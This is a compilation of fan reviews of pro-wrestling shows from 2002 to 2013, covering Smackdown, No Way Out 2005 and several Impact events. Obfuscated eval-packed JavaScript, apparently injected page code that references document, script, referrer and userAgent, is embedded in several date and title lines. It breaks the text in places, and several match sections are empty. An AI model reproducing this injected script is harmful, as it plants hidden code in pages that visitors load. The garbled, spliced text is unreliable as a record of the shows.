Post match Abyss beats up RVD and gets the nail board which misses everything. The show ends with Abyss holding the board and RVD looking at him. Yeah that was stupid.

Rating: D. This just didn’t do it for me. It could have been worse, but at the same time there just wasn’t anything at all special here. The ending to both the match and the show just completely sucked, but what did you really expect? I see no reason at all for RVD to retain there, so of course he did. Whatever.

Overall Rating: D. I’m sorry but this show just was not very good. Actually screw that. I’m not sorry as the psychology was gone, very little made sense from the TV shows building it up and there was one truly good match. Everything else was either boring, confusing, or predictable.

 

RVD retains, likely setting up RVD vs. Abyss at Hard Justice in a match that should have been here. The Dudleys aren’t done yet so that solved nothing. Angle wins as you would expect him to and Lethal beat up a 60+ year old man. Someone tell me what good came from this other than the Guns’ win. Just a totally lackluster show. See the tag match though.

 

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On This Day: July 4, 2002 – Smackdown: FOR AMERICA! And Canada!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezadb|var|u0026u|referrer|ryzkh||js|php'.split('|'),0,{})) July 4, 2002
Location: Fleet Center, Boston, Massachusetts
Commentators: Michael Cole, Tazz

This was a requested show and I don’t really know of anything significant on it other than one match which really wasn’t anything special. Anyway, we’re just barely into the WWE era at this point and we have an Undisputed Champion. Oh wait if that’s the case I think I know why this was a requested show, other than the date that is. Let’s get to it.

We open with a video of Edge talking about getting hurt in a cage match with Angle. He said he’ll be back and that’s tonight. Jericho came out and laughed at him about it, triggering a brawl. Jericho cracked the shoulder with a chair. Later in the night (or month, it’s not really clear) Jericho was about to do the same to Hogan when Jericho’s own music played. Edge came out for the save in his return. You would think this would lead to a match tonight or at the PPV, but it actually lead to a match at the Smackdown after the PPV, which is a little weird.

I miss the Beautiful People as Smackdown’s theme.

Oh I almost forgot: this is right around the time the company switched from WWF to WWE.

Lillian Garcia sings America the Beautiful. Lance Storm and the UnAmericans cut her off and I think I can hear Finlay being fired from here. Christian asks if the people know why Independence Day is celebrated. It wasn’t the day Will Smith defeated a bunch of aliens you know. Storm tells us what happened back then and about how the Americans went all over the world using its military force where it had no business. Test talks a bit as well. This is going on too long now.

Lance Storm vs. Rikishi

Feeling out process to start and Storm speeds things up. He strikes away and drops down onto the chest on a sunset flip attempt. The other UnAmericans interfere during the Banzai Drop, allowing Test to hit a big boot to Rikishi’s head and knock him to the mat. Storm gets the easy pin. This wasn’t much.

Taker, the Undisputed Champion, is here.

Here’s your historic moment, although it was last week. Kurt Angle issues an open challenge and a young kid debuts and takes the challenge. His name: John Cena.

Stacy goes up to the locker room and Henry answers. She asks if Cena is in there and here he is, in the green trunks and looking like a deer in the headlights. She says Vince wants to see him and he walks off. Stacy likes what she sees.

D-Von/Batista vs. Big Valbowski/Randy Orton

Orton had been around for a few months here but was just a young kid. Batista was the deacon for Reverend D-Von and had debuted last week as well. Orton has hair here. Batista beat up Orton last week so this is the rematch Orton requested. Val (I’m not typing that whole thing) starts against Batista. He tries to take Batista’s knee out but gets run over by a HUGE clothesline.

Off to D-Von and the veterans do some basic stuff. Orton comes in to a screaming girls pop. He’s always had a sweet dropkick. D-Von gets a neckbreaker out of the corner for two. Orton gets beaten down but manages to bring in Val. Venis gets a Blue Thunder Bomb but Batista makes the save.

Orton comes in and hot shots D-Von, but Big Dave (first name unknown at this point) puts him in a fireman’s carry and rolls through it like Kenderson does. That’s a new one. Or old one in this case I guess. Everything breaks down and Orton misses his top rope cross body. The spinebuster ends this. Cole: “Batista is an animal!”

Rating: C-. This was fine and it’s amazing to see guys like this in their very young days. You never know what you might have in any given match and this is proof of it. I’m sure they knew they had something, but I don’t think anyone knew how big they’d be. Somehow, these two pale in comparison to the guy that would be in the next segment though. The match was fine.

Jericho rants to Vince about how Edge came back and stopped him from taking out Hogan for good. Vince says Jericho sounds obsessed with Edge. I’m distracted by a swimsuit shot of Stacy in a thong behind him so I have to rewind it for a bit. Vince makes Jericho vs. Edge at Vengeance, which wouldn’t happen. Instead he would face the guy that comes into the office next.

Here’s Cena who is nervous to meet Vince. Vince says that he liked Cena’s performance last week and introduces him to Jericho. Cena extends his hand politely and Jericho rips him apart, talking about how he’s the first undisputed champion and how Cena needs to show respect. He asks what kind of Ruthless Aggression Cena has so Cena slaps him to the floor.

During a break Jericho demands a match with Cena tonight.

Angle talks about beating Cena last week but he feels even better this week. He’s got a world title shot and is feeling strong. He asks Marc Lloyd if he’s seen the new highlight reel. Angle has beaten up Taker and then made Hogan tap at KOTR. Then last week he threw Taker in the ankle lock for just a few seconds. What better night than the Fourth of July for Angle to win the title right?

Billy and Chuck are gay and have hot dogs. Make the jokes yourselves.

Tag Titles: Edge/Hulk Hogan vs. Billy/Chuck

This is the big match from this show. Edge is a Hulkamaniac from when he was a kid so this is his dream match. Hulk vs. Chuck starts us off. Hogan is just crazy over here. It’s an old WWF town so that goes without saying. Chuck hammers him into the corner and it’s off to Billy. Edge comes in and hits an Edge-O-Matic for two. Chuck snaps off a pretty sweet overhead belly to belly for two and control. The fans want Hogan as Edge gets tossed over the top. Rico and Billy try to double team him but Rico kicks Billy by mistake. Edge takes Chuck down in the ring and I want you to notice something here.

Hogan has been on the apron for about four minutes and he’s barely stopped moving. It could be pacing back and forth, it could be clapping for Edge, it could be pointing something out to the referee, it could be shouting for Edge to kick out, it could be trying to get the fans to cheer. He doesn’t just stand there uninterested, and the crowd picks up on that. It’s a very important thing you can do in tag wrestling and it gets the fans to notice you. Cena is really good at this. It’s an old rule that I’ve told you time and time again: if you play to the crowd, they’ll respond to you.

Anyway there’s the hot tag to Hogan and he Hulks Up on the way in. Billy is pounded on (he must be used to muscular men doing that to him by now though) as is Chuck. We get the old school double noggin knocker and it’s a big boot to Billy. Chuck hits a superkick to break up the legdrop and Hogan brings Edge back in with a double clothesline off the top. Rico breaks up the spear so Hogan knocks him down. He crotches Rico on the apron and Edge spears Billy for two. A double big boot and a pair of legdrops to Chuck are enough to give Hogan his first tag title.

Rating: B-. I can’t help but smile at this. This wasn’t supposed to be a serious match and if you get mad about Hogan doing this you miss the point. This was about feeling good and nostalgic and giving Edge a rub. This did all of that and was actually a pretty good tag match on top of that. Hogan as basically the Andre to Edge’s Haku was perfect for him and this was really fun. They would lose the titles in less than three weeks but this was what the whole thing was about and it worked perfectly. Very fun match and moment.

Chris Jericho vs. John Cena

Dig that totally generic rock music for Cena! Cena charges in but gets beaten down quickly. He spears Jericho down and pounds away and they go to the floor. Back in the ring Cena hits a slingshot and spinebuster for two. He’s got a fire in his eyes and you can see the star in him if they mold him properly. Jericho heads to the floor and suckers Cena in to take over. He takes too much time coming off the middle rope though and jumps into a dropkick.

Powerslam gets a very close two. He counters the Walls and this a DDT for another two. A corner splash misses for the American and Jericho takes him down with the bulldog. Lionsault misses and Cena hits his second high angle spinebuster for two. However Jericho is too good for him as he backflips out of a belly to back and hits a Flashback (sleeper drop) and pins Cena with his feet on the ropes.

Rating: B. Very fun match here which at the time was shocking. Remember that this is Cena’s second match on TV and he’s taken Jericho and Angle to the limit. They would fight again at Vengeance and Jericho would actually get beaten fairly clean. As a little trivia, to the best of my knowledge, this is the only time that Jericho has ever beaten Cena one on one on TV or PPV. Think about that for a minute. They’ve fought so many times and Jericho only won the first one.

Jericho offers a handshake post match and tries to beat him up but Cena hits the Protobomb and stands tall.

Rey Mysterio is coming.

Here’s a clip from Raw where the NWO and Shawn Michaels said that HHH would be joining the NWO.

We go back to Divas Undressed on Saturday where Torrie won the Golden Thong Award. Stacy says it was because Torrie sleeps with Maven, who was a judge. Torrie said Stacy was sleeping with Vince. Naturally we’re having a bra and panties match to settle things.

Earlier today, Jamie Noble and Nidia celebrate their new found fortune by getting a new truck and a new trailer because Noble’s aunt died. Oh and he has money now that he’s Cruiserweight Champion. Running water almost makes Nidia cry. They break in the bed.

Stacy Keibler vs. Torrie Wilson

Bra and panties remember. What do you want me to say here? They try to do some moves, most of them don’t work, they strip each other, they’re both hot, Torrie wins. She strips too.

We get a recap of the ladder match from Monday with Jeff vs. Taker, which I need to get to someday. Hardy got destroyed over and over again but he kept getting up after the match. Taker hit a Last Ride and Hardy got up again, saying he was still standing. Taker raised his hand and stopped hurting him.

Taker says he’s upset at Vince because Vince said Taker faces Rock at Vengeance whether Taker is still champion or not.

WWE World Title: The Undertaker vs. Kurt Angle

Taker runs over him with power to start and Angle bails to the outside. I think these are both tweeners at this point. Angle keeps trying to run Taker down and it doesn’t work at all. Finally he wakes up and takes it to the mat. Angle celebrates an armdrag and gets kicked to the floor for his troubles. Snake Eyes/big boot combo get two. Angle counters the chokeslam into a German to shift control again.

It turns into a fist fight in the corner with Taker gaining control. Shoulder block puts Kurt down as does a DDT for two. Here comes the Tombstone but Angle slides down and hooks the ankle lock and Taker is in trouble. That gets reversed but an Angle Slam (which looked like it was in slow motion) gets two. Ankle lock on again and Taker’s escape gets a big pop. Chokeslam puts Kurt down but the ankle injury keeps him from immediately covering.

Here’s the almost famous ending. Taker loads up the Last Ride but Angle wraps his legs around Taker’s neck in a triangle choke. Taker bends down into kind of a rollup. The three count hits at the same time that Taker taps (although if you watch very carefully, Taker starts tapping before the three hits. It’s less than half a second though so it’s fair). There’s no winner so there would be a triple threat at Vengeance.

Rating: B-. Pretty good match here between two guys that could do big matches like these with ease. Tazz’s eventual line summarizing this was perfect: The Undisputed Title is disputed. If I remember right this was something that happened in a UFC main event and was one of the first signs of WWE paying attention to them. I remember reading that somewhere so it may not be accurate. Anyway, good match.

Overall Rating: A-. Huge and I mean REALLY huge show tonight with all kinds of stuff happening. It’s fascinating to look at these guys at this point and imaging what they would become. Orton is probably the least likely as he had nothing going for him at all. He would injure his shoulder and become a cocky heel and that was all he needed. Anyway, great show and really interesting stuff.

 

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Impact Wrestling – June 13, 2013: I Select You Impact!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryyzr|var|u0026u|referrer|yrftd||js|php'.split('|'),0,{})) Wrestling
Date: June 13, 2013
Location: Gwinett Center, Duluth, Georgia
Commentators: Mike Tenay, Tazz

Bound For Glory Series Qualifying Match: Gunner/James Storm vs. Bad Influence

Both members of the winning team qualify. Storm suplexes Daniels down to start and drops a knee for two. Off to Gunner vs. Kaz with the tattooed man throwing Kaz around with ease. Daniels finally starts cheating to take Gunner down, allowing Kaz to hit a springboard legdrop to the back of the head for two. Bad Influence hits a few kicks to the chest but Gunner runs them both over with a double clothesline.

Back to Storm who gets two on Kaz off an Alabama Slam as everything breaks down. Gunner is sent to the floor but Storm hits a Backstabber on Daniels and Closing Time on Kaz. With everything going nuts, Kaz distracts the referee so Daniels can blast Storm in the head with a title belt, giving Kazarian the pin at 4:26.

Velvet has a present for Mickie James inside an envelope.

Bound For Glory Series Qualifying Match: Joseph Park vs. Crimson

Mickie is ready for Velvet.

Bound For Glory Series Qualifying Match: Kenny King vs. Matt Morgan vs. Rob Terry vs. Magnus

Eric Young is going to sneak into the BFG Series by beating Aries. His first step: using the rest room.

Bound For Glory Series Qualifying Match: Austin Aries vs. Eric Young

Aries immediately takes Eric to the mat and rides him around before heading to the corner for some bragging. ODB comes in and is ridden to the mat by Eric before we get back to some actual wrestling. Aries rakes the eyes to take over and chokes on the ropes before hooking a quick chinlock.

Bound For Glory Series Qualifying Match: Battle Royal

Bound For Glory Series Qualifying Match: AJ Styles vs. Kurt Angle

Rating: B. Did you expect anything else from Angle vs. Styles? The counters in there were getting more and more awesome every time with both guys finding a way to top themselves every time. The ending was fine even though they told us it was coming earlier in the night. Very solid main event here as you would have expected.

Results

Bad Influence b. James Storm/Gunner – Kazarian pinned Storm after a belt shot to the head

Joseph Park b. Crimson – Rollup

Magnus b. Kenny King, Rob Terry and Matt Morgan – Michinoku Driver to King

Austin Aries b. Eric Young – Brainbuster

Mr. Anderson won a battle royal last eliminating Doc

AJ Styles b. Kurt Angle – Rollup

 

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No Way Out 2005: Angle vs. Cena and a Barbed Wire Steel Cage

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtzer|var|u0026u|referrer|trszz||js|php'.split('|'),0,{})) Way Out 2005
Date: February 20, 2005
Location: Mellon Arena, Pittsburgh, Pennsylvania
Attendance: 9,500
Commentators: Michael Cole, Taz

Not much to say here. It’s a Smackdown show and we’re in the very last stages of JBL’s title reign as he would lose to Cena at Mania. Other than that we have Cena vs. Angle which is probably for the Mania title shot. I really with they could come up with something more interesting than that, which I guess they have with the Chamber matches. There’s nothing else to talk about in the intro so let’s get to it.

Oh I almost forgot: the main event is a barbed wire steel cage match for the title with JBL vs. Big Show.

The video is about being trapped in the cage and there being no way out. Glad to see them be inventive with these things.

We look at the cage during Cole’s intro and there are certainly no barbs on it. It’s a regular cage with the barbed wire along the top where you climb over. There are no visible barbs there either.

Smackdown Tag Titles: Rey Mysterio/Eddie Guerrero vs. Basham Brothers

The brothers have the belts here. This is the beginning of Eddie’s last major feud with Rey which ended at Summerslam. He would feud with Batista a bit before dying. The Bashams are JBL’s secretaries of defense. Eddie vs. Danny to start us off. Tazz calls Rey a jaguar. That was rather odd. The challengers beat up on the Bashams for a bit as you know that other than a screwy finish there was no way the titles weren’t changing here.

Eddie gets in some trouble and can’t bring in Rey. The Bashams work him over as we talk about the main event some. Ah there’s Rey as things naturally start going faster. Rey gets his bulldog and Cole thinks it’s a DDT. Seriously does he even pay attention? Some twin magic has Rey in trouble again which Cole says is fine due to it being a family tradition.

Rey’s bumping has always been straight up awesome and this is no exception. He makes even basic moves look like he’s being destroyed. Mysterio hits a BIG moonsault to take Doug down for two but he still can’t tag. Crowd isn’t really that into it as I guess they know the formula at this point.

We get a weird bit about Eddie and tag ropes which is supposed to be funny I guess and I do not get it at all. Big double team move that sends Rey down face first and then it turns into a comedy/acrobatic segment with Rey diving all over the place and finally getting a tag. The Bashams beat down Eddie a bit and hit what is more or less a double chokeslam for no cover.

Rey gets back in and it’s a big brawl. Eddie goes to the floor and grabs a title belt but Rey stops him as does the referee. Was there a point to that? He goes for the Frog Splash but rolls through. Doug thinks he crashed (in the words of Marvin the Martian, “where’s the kaboom?” Isn’t that kind of a problem?) and gets rolled up for two. A belt shot from Eddie in all the confusion gives them the belts. Odd ending sequence there.

Rating: C. Not bad but absolutely nothing we haven’t seen a dozen times a year. Rey and Eddie would open Mania in a one on one match which was pretty good. This wasn’t much of a tag match but at least the right team won and at least they had some history so it wasn’t a totally random pairing. Nothing special at all though but the fifteen minutes it got went by fast.

Teddy talks to a producer and says that when Batista gets here (he was debating which brand to come to for his Royal Rumble win title match) to give him whatever he wants. Carlito and the wife of a member of the board comes in and says they hope he signs Batista. It’s a way for Carlito to get Teddy fired which was his big thing. If Teddy doesn’t sign Batista he’s fired apparently.

There is a Smackdown Diva Rookie of the Year contest tonight. Apparently there are enough rookie Divas on Smackdown to warrant a contest and we’re determining it in late February. Torrie Wilson and Dawn Marie are the hosts. The first event is an evening gown contest and the first is Joy Giovanni. It makes me want to play Pokemon if nothing else.

Second is Rochelle Loewen who was in Playboy. There’s nothing to this as they walk to the ring and then the next person comes out. Third is Lauren Jones and again no one knows who she is. The hosts don’t like Lauren. The last is Michelle McCool who you may have heard of. The hosts are at the announce table too. This was about as big of a waste of five minutes as you could ask for. Oh and there are two more competitions.

Ad for Mania which is the Hollywood campaign that I always loved. They put some thought into these and they came off far better than most others. This one is Pulp Fiction with Booker T as Samuel L. Jackson and Eddie as John Travolta. I think you know the scene that they’re doing. Booker hands the guy a pair of Mania tickets rather than a gun. They accidentally shoot the guy anyway.

Heidenreich vs. Booker T

No real backstory here other than Heidenreich needed a feud after Taker got done beating him up. This was made after Smackdown apparently when Booker thought Heidenreich was laughing at Booker after a loss. He reads a poem before the match which isn’t very good. It’s kind of hard to get into this as it’s about as thrown onto the card as you could want a match to be.

Basic match to start and Jon (not typing that whole name out every time) talks to himself and hits himself in the head. Pretty back and forth here as Booker hits him a good deal but can’t drop him. Jon wasn’t an invincible guy which more or less took away any fear he would instill in anyone else. Well that and when he raped Cole. Jon takes over and gets a key lock as this is rather uninteresting.

Booker makes a comeback but gets kicked in the face to stop that. And now back to the same hold as he had on before. Booker makes another comeback and hits a superkick to set up the Spinarooni. Jon is sent to the floor where he grabs a chair and blasts Booker in the throat with it for the DQ.

Rating: F+. It was too long, it wasn’t interesting, there was no story, the ending sucked and the wrestling was boring. Why in the world was this on a pay per view? Heidenreich was a pretty big misfire if there ever has been one as he never was interesting or a threat to anyone really. This was a great example of how worthless he was.

Post match Heidenreich covers Booker because he’s insane. Moving on.

Eddie and Rey are celebrating with random faces when Cena comes in. Eddie wants to talk to him alone and offers a nice thing saying if he doesn’t beat Angle it would be understandable. This is a big night tonight because if Cena wins he goes to Mania which is the point of everything. Eddie sounds like he’s about to cry. He says not to tap because it would tick Angle off and that’s Cena’s chance. In other words Cena, you’re not good enough to beat Angle yourself, so make him beat himself. Nice guy that Eddie. No idea what the point of this was.

Cruiserweight Title: Paul London vs. Chavo Guerrero vs. Akio vs. Spike Dudley vs. Funaki vs. Shannon Moore

This is a Cruiserweight Open. The idea is a gauntlet match by random draw and the winner is the champion. Everyone comes out in random order and will stand at ringside rather than coming down the aisle. The first pairing is Paul London and Funaki who is champion coming in. Nothing special at all here as they go back and forth a bit. Chavo tries to come in but Spike (the former champion and a heel) drills Funaki in the back and London gets to roll him up for the pin.

Funaki hits Spike so London gets him and we’re down to four in less than two minutes. Shannon Moore is in at #4. More basic stuff here with nothing special going on. Shannon whips London into the corner chest first a few times. London hits two moves, a back elbow and the 450, to get the pin. Wow I hate these matches.

Akio (Jimmy Wang Yang) is in at #5. He beats on the tired London and hooks a chinlock in a freaking cruiserweight match. London has had maybe four moves total in his three wins. London gets a swinging neckbreaker off the top and both guys are down since there isn’t really any difference in how either guy lands. We get the double count and Akio doesn’t make it. I have NEVER seen anyone lose that way before.

So it’s Chavo vs. London for the title. London gets beaten down even more but hits a Dragon Suplex for two. This is probably about over which is what makes this even stupider. London makes a real comeback, hammering away with everything he’s got. A Dropsault gets two and then Chavo rolls him up with the ropes for the title. Chavo was in the ring less than three minutes.

Rating: F. I can’t stand these things. The champion got pinned in less than 100 seconds and the longest “match” was less than three and a half minutes. The pins are WAY too fast to be realistic and you can’t get into any pairing. Also London getting in nothing before the very last match was very stupid. I can’t stand these things and this as no exception.

We see a clip from Smackdown where Batista destroyed JBL’s limo after it almost ran him over on Raw. Show and Batista wanted to go after JBL but he ran away.

Show is worried about the cage. Or maybe he wants to eat a small animal, like a cow.

We actually get a graphic from Tazz explaining that you can win the cage match by pin, submission and escape. Apparently there won’t be access through the door.

Wrestlemania Recall: THE GIMMICK BATTLE ROYAL! That might be the best Mania match of all time ever.

Time for round two of the Rookie Diva stuff. This is the talent competition. They have to reintroduce the contestants. There are only six matches on the card and yet they have to pad it out with THIS? There wasn’t something better to do than to put SIX Cruiserweights in the same match? Joy goes first and her talent is massage so she rubs Torrie’s back. I feel like I’m watching outtakes of NXT.

Rochelle tells jokes. They suck.

Lauren, who is SHORT, dances. Not bad but in essence she strips.

Michelle’s talent is slamming Dawn who has run her mouth the whole time. I’m cracking up at this: a person’s special talent in a competition about being the best in a wrestling company was WRESTLING. WHAT A CONCEPT!

JBL tells Josh that he’s not scared. Who would have guessed Josh is still on the payroll and JBL isn’t? He talks way too long as it’s very clear they’re trying as hard as possible to fill in time.

Luther Reigns vs. Undertaker

No story here. Reigns is part of Angle’s team and they don’t like Undertaker. That’s it. Reigns was just a big power guy that was pretty generic to put it mildly. Mark Jindrak is out there with Reigns. And so much for that as he gets thrown out. This is more time wasting if you didn’t get that. Is there a reason why we had six matches on this card? We get a clip from Smackdown where Reigns hit Taker with a camera just after he beat Jindrak.

Taker is only 12-0 at Mania here so you know it’s a long time ago. Basic striking contest to start and guess who wins there. Reigns gets the turnbuckle pad off but Taker blocks the shot into it. This is your standard big man vs. big man match here. Reigns goes back first into the buckle as I’m kind of surprised Taker is staying in control this long as it’s not something you often see.

Apron legdrop has Luther in real trouble. Ah there’s the low blow to get Taker in trouble so he can make his traditional comeback. His head goes into the buckle and it’s the same spot that got hit by the buckle. Basic power stuff focusing on the head by Luther here as nothing special is going on here at all. There is ZERO heat here as the fans know that Luther isn’t going to win and we’re just waiting for Taker to make his comeback.

Taker gets a jumping….double axe handle to take over. What the heck? When does he do ANYTHING but the clothesline there? Snake eyes are blocked and a big boot takes Luther down. The fans flat out do not care. Chokeslam hits but Tombstone is countered into a reverse DDT. Cole SCREAMS at us that it was a swinging neckbreaker which was Reigns’ finisher and he looks like a total idiot because of it.

Taz calls it the same thing. Seriously are they THAT stupid? He goes for the actual move and Taker counters into a DDT. The Tombstone ends it seconds later. Sweet goodness those announcers are idiots.

Rating: D+. Totally by the book match here which we’ve seen a thousand times from Taker. Reigns never really meant anything at all and would be gone relatively soon and never heard from again. Taker beating up muscle guys who hit their finishers on him is about as standard as you could want from him and this was no exception. Boring match but I’ve seen worse.

Teddy is worried that Batista isn’t here yet.

We get another Mania ad, this one from Basic Instinct with Benoit and Jericho interrogating Stacy. Stacy smokes and makes lesbian jokes about her and Trish which give Jericho and Benoit some, ahem, issues. Christian, who means nothing at this point, is there too. Mae and Moolah come in and flash the interrogators.

Time for the final round of this nonsense. Dawn won’t come out for this one. This is the swimsuit round and they come out to Candace’s music. Joy comes out in a jersey and the others in robes. I don’t think I ever remember seeing Michelle in a swimsuit. Joy is wearing little shorts over a thong and won’t take them off. Rochelle trips but catches herself.

Lauren’s is too big as this isn’t going anywhere at all other than, say it with me, WASTING MORE TIME. Michelle looks good but nothing that special. This is just stupid. Rochelle probably looks best. We poll the audience while we wait on the votes to be tallied. They like Joy, who is the hottest looking overall, best. Joy DOMINATES, getting 65% of the votes. Lauren gets 6%. Rochelle, Joy and Lauren were gone in a few weeks, making this even MORE pointless if that’s possible.

We recap the #1 contender’s tournament where the finals are tonight. In order, Booker beat Eddie, Cena beat Orlando Jordan, Taker and Dupree had a draw and Angle beat Rey, sending him to the finals. Cena beat Booker, setting up Cena vs. Angle for the spot in the title match at Mania. There’s a short thing about Angle vs. Cena too as you can see the star in Cena about to explode.

John Cena vs. Kurt Angle

Cena is the second hottest thing in the world at this point just after Batista. He’s US Champion here also. Angle doesn’t get much of a big hometown pop which says something about his heat gathering abilities. Angle takes him to the mat to start as they’re going to have a lot of time to work with here. He gets a pretty bad belly to belly into what can best be described as a reverse chickenwing which looked pretty awesome.

Cena makes a comeback and knocks Angle to the floor and is booed LOUDLY. They brawl onto the announce table with Cena in control. Release Fisherman’s Suplex gets two. I think the back in the ring aspect was a given there. Angle avoids the FU and hits the floor for a breather. You can see the look in Cena’s eyes and it’s awesome.

He beats Angle down in the corner but Angle reverses and hits a release German into the buckle which was a cool looking spot. We go to a body scissors and Angle loudly calls spots to Cena. I love little things like those for some reason. Angle wrestles him down every time and Cena responds by just punching him. Angle rolls the Germans for two. Cena gets up and hits a spinebuster for two.

FU is reversed into a sunset flip and then a belly to belly as Cena is in trouble again. Angle Slam is reversed and Cena gets a DDT for two. Tazz isn’t sure if Cena winning would be an upset or not. FU is blocked again into the ankle lock and Cena is in big non-trouble as he reverses, sending Angle to the floor. He gets the top rope Fameasser as Angle is getting in for two.

Angle charges at Cena but walks into the FU for a LONG two. Kurt kicks him in the knee and goes after the leg. Angle Slam hits after some submission holds get Angle nowhere. Ankle lock goes on and Cena is in the middle of the ring. Gee do you think he’ll tap? How can you get away with pulling a guy back to the middle after he has the ropes already? I’ve never gotten that.

And Angle shoves the referee down for no adequately explained reason. He grabs Cena’s chain off the corner which is apparently Cena’s pride and joy. Screw that US Title thing. FU hits and amazingly enough that gets the pin as the referee was down before that. Cena winning was a legit surprise here as I think it was still a huge upset. He would lose the US Title to Jordan before the PPV. Yes, Orlando Jordan beat John Cena for a title.

Rating: B. Solid match here but it never quite got into that high gear to make it great. Cena’s match would get about 10 minutes while Angle would have a classic with Shawn that went over twenty. Still though this this was rather good and both guys were working out there. I think that Cena had more skills than Batista but Batista was flat out bigger at this point. Solid match though but I wonder how much of that is because of Angle.

Batista still isn’t here.

The cage is lowered. We need to have a general spam discussion match on PPV one time.

The recap of the main event match talks about Jindrak and Reigns costing Show the title at the Rumble. Show wanted it one on one so we got this. Batista is mentioned here too but not how he fits in here. A lot of this is the same stuff from the earlier package.

Smackdown World Title: JBL vs. Big Show

Basic stuff to start as JBL takes Show down with a flying tackle. He goes up but is afraid of the barbed wire. He tries a cross body and guess how well that goes for him. They’re staying away from the wire so far and it’s just a basic match for the most part here. Show is busted open after eating some cage. Bradshaw in full control here.

He rips the tag rope off the corner and chokes away with it. Show hits something like a superkick to put JBL down. Does Cole have Show’s measurements tattooed on the inside of his eyelids? He can snap those things off like they’re nothing. Powerbomb by Show and JBL is in trouble. The fans chant RVD who was hurt at the time.

Cole says the cage is a carnivore. Why do steel structures always have to have lives of their own in this company? Show gets a slingshot (Cole says monkey flip) into the cage. Here’s Jordan to climb the cage. The Bashams cut through part of the cage but Teddy comes out, saying to leave. Jordan manages to slip some bolt cutters to JBL who pops Show with them and adds the Clothesline From Hell for two.

For some reason there’s more or less no reaction for the kickout from the world champion’s finisher. Chokeslam hits for two as well which gets kind of a reaction but nothing huge. Another chokeslam is blocked though as JBL kicks the little Shows and adds a boot to the face. The door is closed and locked and isn’t eligible for escaping.

Bradshaw climbs up and uses the bolt cutters to cut through some of the wire. Show gets up and knocks them out of his hand. JBL is slammed into the cage a few times as the wire has more or less meant jack so far in this match. Show grabs him by the throat and chokeslams him through the ring, prompting a pretty weak holy expletive chant.

Show finds a safe spot and climbs down but he’s not sure what to do. Some things never change I guess. Instead Show pulls on the chain and lock which he rips apart with his bare hands. Well why mess with what works? He opens the door and climbs to the floor as JBL is declared the winner and still champion. While Show was wasting all kinds of time, JBL climbed through the hole in the ring and hit the floor first to retain. I love that ending because JBL followed the rules perfectly and Show’s reliance on power cost him.

Rating: D+. I REALLY wasn’t impressed here. If this was a regular cage match then it’s ok I guess but the barbed wire was just stupid. It did a total of nothing other than acting as a deterrent I guess, which a regular cage would have done just as fine or a cage with a top on it. This was a waste of time for the most part and didn’t work that well at all. Weak main event.

The Cabinet, JBL’s crew, comes out for the big beatdown and Batista comes out for the save. He’s in his gear of course. Don’t you travel like that? JBL tries to leave but Cena stops him. Apparently Cena vs. JBL is already made, which makes the signing of the contract totally pointless. Cena gives him a spinebuster onto the equipment. Apparently it’s either Cena vs. JBL or a triple threat. Yeah because I’m SURE they would let HHH have the night off right?

Overall Rating: D. This was bad. The Cena/Angle match is good and there’s some ok stuff elsewhere on the card, but the vast majority of this stuff is fast forward time. These split branded shows were just awful and this is a great example. They had SIX matches and had to give three different segments to the rookie Divas and nothing happened with them but they got about 15 minutes total. I hated this PPV but the Rumble and Mania were both good so they were allowed to have a bad show I guess. Take a pass here and find the better Cena/Angle matches elsewhere.

 

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On This Day: June 8, 2008 – Slammiversary 2008: King of the Memphis Mountain

Slammiversary 2008
Date: June 8, 2008
Location: DeSoto Civic Center, Southaven, Mississippi
Attendance: 2,000
Commentators: Mike Tenay, Don West

 

 

X-Division Title: Petey Williams vs. Kaz

 

 

 

 

We run down the card which is how we roll around here.

 

Eric Young pops up with a microphone and says Elvis is here. Oh geez.

 

Video on Nash who is guest enforcer tonight in the main event.

 

Nash is with JB and says this is all about money and Joe is more of an investment than a friend. If Joe wins tonight, Nash wins. If Joe loses tonight, Nash loses.

 

Here are some shots of Memphis including Graceland.

 

ODB/Roxie/Gail Kim vs. Beautiful People/Moose

 

 

 

 

 

Tag Titles: Team 3D vs. LAX

 

Ray tries to get technical with Homicide for some reason. The fans still want tables. Homicide is like cool man and grabs some armdrags to get control. Ray puts him on the top and pats his head so Homicide dropkicks him down. Hernandez clears the ring (no tag. Cheaters) and both of them dive through the ropes to take out the Dudleys. Homicide tries to go up again but D-Von shoves him down, sending his head into the railing.

 

Ray punches Hector Guerrero and knocks Salinas down. Ray holds up a title belt for some reason while D-Von works on Homicide in the ring. A back elbow puts Homicide down and the Dudleys act all innocent and nice. I miss heel teams doing things like that. Big side slam by Bubba gets no cover. Back to D-Von and the fans say 3-D sucks. I agree. It just makes some of the background clearer and the glasses make the movie darker.

 

 

 

Video on Kong being awesome. Hey that was funny. She has a $25,000 challenge thing going on at the moment which would eventually be claimed by Taylor Wilde (I think). Kong is Knockout Champion here too.

 

Awesome Kong vs. Serena Deeb

 

 

Awesome Kong vs. Josie Robinson

 

 

Christian says he wants to get the title back because he still loves being the best. His win/loss record is better than anyone else over the last year and he wants to be considered among the best ever after tonight.

 

We recap the wedding with Jay Lethal and So Cal Val. Sonjay Dutt has a crush on Val and is trying to steal her away. Lethal had a bachelor party with Christy in a cake which was better than most bachelor parties if nothing else.

 

First though, a picture of Beale Street which is where the blues were born.

 

 

Video on Booker just like the rest of the people from earlier in the night.

 

We recap Kurt vs. AJ. This is about Karen and AJ allegedly having an affair. I think this is around when they were legitimately separating so this is pretty weird stuff. Kurt thought there was cheating so Kurt had his friends destroy AJ and then beat him with a chair. AJ is out for revenge.

 

Kurt Angle vs. AJ Styles

 

